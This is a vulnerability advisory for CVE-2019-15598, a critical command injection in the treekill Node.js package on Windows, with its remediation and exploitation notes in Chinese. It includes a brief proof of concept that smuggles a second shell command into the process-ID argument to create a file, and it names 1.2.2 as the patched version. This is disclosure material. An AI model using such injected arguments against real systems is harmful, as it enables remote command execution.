CVE-2019-15598
Treekill Enables OS Command Injection
9.8
CRITICAL
CVSS 3.1
EPSS 3.8%
描述
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command. ### Steps To Reproduce: Create the following PoC file: ```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in terminal: ```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` The HACKED.txt has been created
如何修補 CVE-2019-15598
要修補 CVE-2019-15598,請將受影響套件升級到下列已修補版本。
- —升級至 1.2.2 或更新版本
CVE-2019-15598 正在被利用嗎?
低 — EPSS 為 3.8%,目前沒有觀察到大規模利用活動。
受影響套件(1)
- from 0, < 1.2.2
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |